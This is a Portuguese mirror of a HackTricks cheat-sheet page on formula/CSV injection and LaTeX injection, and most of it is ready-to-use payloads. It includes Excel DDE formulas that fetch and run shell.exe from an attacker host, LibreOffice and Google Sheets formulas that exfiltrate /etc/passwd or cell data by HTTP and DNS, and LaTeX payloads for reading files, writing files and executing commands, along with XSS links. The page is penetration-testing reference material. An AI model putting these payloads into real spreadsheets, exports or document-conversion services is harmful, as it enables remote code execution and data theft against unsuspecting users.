mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 15:41:34 +00:00
246 lines
13 KiB
Markdown
246 lines
13 KiB
Markdown
# Injeção de Fórmula/CSV/Doc/LaTeX/GhostScript
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rápido. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
***
|
||
|
||
## Injeção de Fórmula
|
||
|
||
### Informações
|
||
|
||
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas** do Excel que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
|
||
|
||
{% hint style="danger" %}
|
||
Atualmente, o **Excel alertará** (várias vezes) o **usuário quando algo for carregado de fora do Excel** para preveni-lo de ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
|
||
{% endhint %}
|
||
|
||
### [Lista de Palavras](https://github.com/payloadbox/csv-injection-payloads)
|
||
```
|
||
DDE ("cmd";"/C calc";"!A0")A0
|
||
@SUM(1+9)*cmd|' /C calc'!A0
|
||
=10+20+cmd|' /C calc'!A0
|
||
=cmd|' /C notepad'!'A1'
|
||
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
||
```
|
||
### Hyperlink
|
||
|
||
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha final do Excel e realizar solicitações para locais arbitrários. No entanto, requer que o usuário clique no link (e aceite os avisos de segurança).**
|
||
|
||
Exemplo retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||
|
||
Vamos assumir um cenário de ataque no sistema de Gerenciamento de Registros de Estudantes de uma escola. O aplicativo permite que o professor insira detalhes dos alunos na escola. O atacante obtém acesso ao aplicativo e quer que todos os professores que usam o aplicativo sejam comprometidos. Então, o atacante tenta realizar um ataque de injeção de CSV por meio do aplicativo web.
|
||
O atacante precisa roubar detalhes de outros alunos. Então, ele usa a fórmula Hyperlink e a insere ao digitar os detalhes do aluno.
|
||
|
||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
|
||
|
||
Quando o professor exporta o CSV e clica no hyperlink, os dados sensíveis são enviados para o servidor do atacante.
|
||
|
||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
|
||
|
||
O arquivo CSV exportado contém um payload malicioso.
|
||
|
||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
|
||
|
||
Os detalhes do aluno são registrados no servidor web do atacante.
|
||
|
||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
|
||
|
||
### RCE
|
||
|
||
Para que este exemplo funcione, é **necessário habilitar a seguinte configuração**:\
|
||
Arquivo → Opções → Central de Confiabilidade → Configurações da Central de Confiabilidade → Conteúdo Externo → Habilitar Inicialização do Servidor de Troca Dinâmica de Dados\
|
||
ou o uso de uma **versão antiga do Excel**.
|
||
|
||
A boa notícia é que **este payload é executado automaticamente quando o arquivo é aberto** (se o usuário aceitar os avisos).
|
||
|
||
É possível executar uma calculadora com o seguinte payload **`=cmd|' /C calc'!xxx`**
|
||
|
||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||
|
||
### Mais
|
||
```bash
|
||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||
```
|
||
### LFI
|
||
|
||
**LibreOffice Calc**
|
||
|
||
* Isto lerá a 1ª linha do arquivo local /etc/passwd: `='file:///etc/passwd'#$passwd.A1`
|
||
* Ex-filtrar: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||
* Ex-filtrar mais de uma linha: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||
* Exfiltração DNS: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||
|
||
**Analisando o payload de exfiltração DNS:**
|
||
|
||
* ‘file:///etc/passwd’#$passwd.A19 – Lerá a 19ª linha do arquivo local /etc/passwd
|
||
* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – Codifica a URL dos dados retornados
|
||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Semelhante a substring, lê dados do 1º ao 41º caractere – uma maneira muito útil de restringir o comprimento dos hostnames DNS (limite de 254 caracteres em FQDN e 63 caracteres para um rótulo, ou seja, subdomínio)
|
||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – substitui todas as instâncias de % (o caractere especial da codificação de URL) por traço – isso garante que apenas caracteres DNS válidos sejam usados
|
||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – Concatena a saída do arquivo (após o processamento acima) com o FQDN (para o qual temos acesso ao host que é autoritativo para o domínio)
|
||
* WEBSERVICE – Fará uma solicitação para este nome DNS inexistente que podemos então analisar os logs (ou executar tcpdump etc.) no servidor de nome DNS autoritativo para o qual temos controle
|
||
|
||
### Exfiltração de Dados OOB no Google Sheets
|
||
|
||
Primeiramente, vamos introduzir algumas das funções mais interessantes.
|
||
|
||
**CONCATENATE**: Anexa strings uma à outra.
|
||
```
|
||
=CONCATENATE(A2:E2)
|
||
```
|
||
**IMPORTXML**: Importa dados de vários tipos de dados estruturados, incluindo XML, HTML, CSV, TSV e feeds XML RSS e ATOM.
|
||
```
|
||
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
|
||
```
|
||
**IMPORTFEED**: Importa um feed RSS ou ATOM.
|
||
```
|
||
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
|
||
```
|
||
**IMPORTHTML**: Importa dados de uma tabela ou lista dentro de uma página HTML.
|
||
```
|
||
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
|
||
```
|
||
**IMPORTRANGE**: Importa um intervalo de células de uma planilha especificada.
|
||
```
|
||
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
|
||
```
|
||
**IMAGE**: Insere uma imagem em uma célula.
|
||
```
|
||
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
|
||
```
|
||
## Injeção LaTeX
|
||
|
||
Geralmente, os servidores que você encontrará na internet que **convertem código LaTeX em PDF** usam **`pdflatex`**.\
|
||
Este programa utiliza 3 principais atributos para (des)permitir a execução de comandos:
|
||
|
||
* **`--no-shell-escape`**: **Desabilita** a construção `\write18{command}`, mesmo que esteja habilitada no arquivo texmf.cnf.
|
||
* **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
|
||
* **`--shell-escape`**: **Habilita** a construção `\write18{command}`. O comando pode ser qualquer comando do shell. Esta construção normalmente é proibida por razões de segurança.
|
||
|
||
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar `--shell-restricted`.
|
||
|
||
### Ler arquivo <a href="#read-file" id="read-file"></a>
|
||
|
||
Você pode precisar ajustar a injeção com invólucros como \[ ou $.
|
||
```bash
|
||
\input{/etc/passwd}
|
||
\include{password} # load .tex file
|
||
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
|
||
\usepackage{verbatim}
|
||
\verbatiminput{/etc/passwd}
|
||
```
|
||
#### Ler arquivo de linha única
|
||
```bash
|
||
\newread\file
|
||
\openin\file=/etc/issue
|
||
\read\file to\line
|
||
\text{\line}
|
||
\closein\file
|
||
```
|
||
#### Ler arquivo de múltiplas linhas
|
||
```bash
|
||
\newread\file
|
||
\openin\file=/etc/passwd
|
||
\loop\unless\ifeof\file
|
||
\read\file to\fileline
|
||
\text{\fileline}
|
||
\repeat
|
||
\closein\file
|
||
```
|
||
### Escrever arquivo <a href="#write-file" id="write-file"></a>
|
||
```bash
|
||
\newwrite\outfile
|
||
\openout\outfile=cmd.tex
|
||
\write\outfile{Hello-world}
|
||
\closeout\outfile
|
||
```
|
||
### Execução de comando <a href="#command-execution" id="command-execution"></a>
|
||
|
||
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-la.
|
||
```bash
|
||
\immediate\write18{env > output}
|
||
\input{output}
|
||
|
||
\input{|"/bin/hostname"}
|
||
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
|
||
|
||
# allowed mpost command RCE
|
||
\documentclass{article}\begin{document}
|
||
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
|
||
\end{document}
|
||
|
||
# If mpost is not allowed there are other commands you might be able to execute
|
||
## Just get the version
|
||
\input{|"bibtex8 --version > /tmp/b.tex"}
|
||
## Search the file pdfetex.ini
|
||
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
|
||
## Get env var value
|
||
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
|
||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||
```
|
||
Se você receber algum erro de LaTex, considere usar base64 para obter o resultado sem caracteres ruins.
|
||
```bash
|
||
\immediate\write18{env | base64 > test.tex}
|
||
\input{text.tex}
|
||
```
|
||
|
||
```bash
|
||
\input|ls|base4
|
||
\input{|"/bin/hostname"}
|
||
```
|
||
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||
|
||
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||
```bash
|
||
\url{javascript:alert(1)}
|
||
\href{javascript:alert(1)}{placeholder}
|
||
```
|
||
## Injeção Ghostscript
|
||
|
||
TODO: Criar um resumo com as informações e técnicas mais relevantes de [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||
|
||
## Referências
|
||
|
||
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
||
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||
|
||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rápido. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|